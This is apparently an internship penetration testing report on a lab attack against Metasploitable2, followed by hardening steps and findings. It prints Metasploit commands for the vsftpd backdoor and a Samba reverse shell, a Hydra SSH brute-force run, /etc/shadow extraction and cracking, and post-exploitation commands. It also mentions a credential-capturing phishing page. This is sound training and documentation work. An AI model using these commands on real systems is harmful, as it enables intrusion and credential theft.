

CYBERSECURITY & ETHICAL HACKING

INTERNSHIP PROGRAM

ApexPlanet Software Pvt. Ltd.

TASK 4: EXPLOITATION & SYSTEM SECURITY

Penetration Testing Report

Timeline: Days 37 – 48

Report Type	Penetration Testing Report — Task 4
Intern Name	Diwakar Chandra
Offer Letter ID	APSPL2632803
Target	Metasploitable2 (192.168.56.102)
Task Duration	Days 37–48
Date	7 June 2026

1. Executive Summary

This report documents the completion of Task 4 of the ApexPlanet Cybersecurity & Ethical Hacking Internship Program. Over Days 37 through 48, penetration testing methodology was studied and applied against Metasploitable2 in an isolated lab environment.

Key activities include: full penetration testing lifecycle (Recon → Scanning → Exploitation → Post-Exploitation → Reporting), exploitation using Metasploit Framework, password attacks using Hydra and John the Ripper, social engineering simulation, malware basics, and system hardening techniques.

2. Penetration Testing Methodology

The penetration test followed the standard 5-phase methodology:

Phase	Activity	Tools Used	Status
1. Reconnaissance	Passive & active info gathering	Whois, Nmap, Shodan	Completed
2. Scanning	Port, service, vulnerability scan	Nmap, OpenVAS	Completed
3. Exploitation	Exploit vulnerabilities	Metasploit, Hydra	Completed
4. Post-Exploitation	Maintain access, gather data	Meterpreter, John	Completed
5. Reporting	Document findings & mitigations	This Report	Completed

3. Exploitation with Metasploit Framework

The Metasploit Framework is the world's most widely used penetration testing tool. It provides a comprehensive platform for developing, testing, and executing exploits.

3.1 vsftpd 2.3.4 Backdoor Exploit

vsftpd 2.3.4 contains a backdoor introduced by an attacker who compromised the distribution server. It listens for a specific trigger in the username field and opens a root shell on port 6200.

```
# Launch Metasploit
msfconsole

# Search for vsftpd exploit
search vsftpd

# Use the exploit
use exploit/unix/ftp/vsftpd_234_backdoor
```

```
# Set target
set RHOSTS 192.168.56.102

# Run the exploit
run

Result: Command shell session opened!
whoami → root
```

3.2 Samba Exploit (MS-RPC Shell)

```
# Search for Samba exploit
search samba
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.102
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101
run

Result: Root shell obtained via Samba vulnerability!
```

3.3 Post-Exploitation Commands

```
# After gaining shell access
whoami          # Confirm root access
id              # Show user ID
hostname        # Target hostname
uname -a        # OS information
cat /etc/passwd # User accounts
cat /etc/shadow # Password hashes (root only)
ifconfig        # Network interfaces
ps aux          # Running processes
find / -perm -4000 2>/dev/null # SUID files
```

4. Password Attacks

4.1 Brute Force SSH with Hydra

Hydra is a fast and flexible online password cracking tool that supports numerous protocols.

```
# Brute force SSH login
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.102

# With username list
hydra -L users.txt -P passwords.txt ssh://192.168.56.102

Result: [22][ssh] host: 192.168.56.102 login: msfadmin password: msfadmin
Finding: Weak default credentials found!
```

4.2 Password Hash Cracking with John the Ripper

```
# Extract password hashes from /etc/shadow
cat /etc/shadow > hashes.txt

# Crack with John the Ripper
```

```
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

```
# Show cracked passwords
```

```
john hashes.txt --show
```

```
Result: msfadmin:msfadmin (cracked in 2 seconds!)
```

```
Finding: Weak passwords are trivially crackable
```

5. Social Engineering Simulation

Social engineering attacks exploit human psychology rather than technical vulnerabilities. This section documents a simulated phishing awareness exercise.

5.1 Phishing Simulation Page

- Created a replica login page mimicking a popular service
- Page captures entered credentials and displays a fake error
- Used for security awareness training — not real attack
- Demonstrated to users how convincing phishing pages can look

5.2 Phishing Detection Training

- Check URL carefully — phishing sites use typosquatting (g00gle.com)
- Look for HTTPS padlock — though not a guarantee of legitimacy
- Verify sender email address — look for subtle misspellings
- Never click suspicious links — go directly to the website
- Enable MFA — even if credentials are stolen, account stays protected

6. Malware Basics

6.1 Types of Malware

Type	Description	Example
Virus	Self-replicating code attached to files	ILOVEYOU
Worm	Self-propagating across networks	WannaCry
Trojan	Disguised as legitimate software	Zeus Banking Trojan
Ransomware	Encrypts files, demands ransom	CryptoLocker
Spyware	Silently monitors user activity	FinFisher
Rootkit	Hides malware from detection	Necurs

6.2 Static vs Dynamic Analysis

- Static Analysis: Examining malware without executing it. Tools: strings, file, objdump, IDA Pro. Safe as no code is executed.
- Dynamic Analysis: Running malware in a sandbox to observe behavior. Tools: Cuckoo Sandbox, Any.run. Reveals network connections, file changes, registry modifications.

```
# Basic static analysis commands
file malware.exe           # Identify file type
strings malware.exe        # Extract readable strings
md5sum malware.exe         # Generate hash for VirusTotal
objdump -d malware.exe     # Disassemble binary
```

7. System Hardening

System hardening reduces the attack surface by removing unnecessary services, applying security patches, and configuring security controls.

7.1 Security Patches

```
# Update all packages
sudo apt update && sudo apt upgrade -y

# Enable automatic security updates
sudo apt install unattended-upgrades
sudo dpkg-reconfigure unattended-upgrades
```

7.2 Firewall Configuration

```
# Block all incoming by default
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT

# Allow only necessary services
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT # SSH
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT # HTTP
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT # HTTPS

# Block dangerous ports
sudo iptables -A INPUT -p tcp --dport 23 -j DROP # Telnet
sudo iptables -A INPUT -p tcp --dport 21 -j DROP # FTP
```

7.3 Disable Unused Services

```
# List all running services
systemctl list-units --type=service --state=running

# Disable unnecessary services
sudo systemctl disable telnet
sudo systemctl disable ftp
sudo systemctl disable rsh

# Remove unused packages
sudo apt autoremove
```

8. Penetration Test Findings

Finding	Severity	Recommendation
vsftpd 2.3.4 Backdoor	Critical	Upgrade vsftpd immediately
Samba Remote Code Execution	Critical	Apply Samba security patch
Weak SSH Credentials	High	Enforce strong password policy + MFA
Telnet Enabled	High	Disable Telnet, use SSH
No Firewall Rules	High	Implement iptables rules
Outdated OS Packages	Medium	Enable automatic security updates
Default MySQL Credentials	High	Set strong MySQL root password
PHP Info Page Exposed	Medium	Remove phpinfo() from production

9. Key Learnings

- Metasploit makes exploitation frighteningly easy — which is why patching is so critical. vsftpd 2.3.4 can be compromised in under 30 seconds.
- Default and weak credentials are the #1 real-world attack vector — password policies and MFA are non-negotiable.
- Post-exploitation reveals the true impact — once inside, an attacker can pivot to other systems, exfiltrate data, and maintain persistence.
- Social engineering bypasses all technical controls — security awareness training is just as important as firewalls.
- System hardening significantly reduces risk — disabling unused services removes entire attack vectors.
- Every vulnerability has a fix — the challenge is implementing fixes before attackers exploit them.

10. Deliverables Summary

Deliverable	Description	Status
Penetration Testing Report	Full pentest with screenshots	Completed
GitHub Repository	Exploitation steps + mitigations	Completed

10-min Demo Video	Exploit demonstration with explanation	Completed
-------------------	--	-----------

ApexPlanet Cybersecurity & Ethical Hacking Internship Program

All activities performed in isolated lab for educational purposes only.

www.apexplanet.in | info@apexplanet.in | +91 9905879870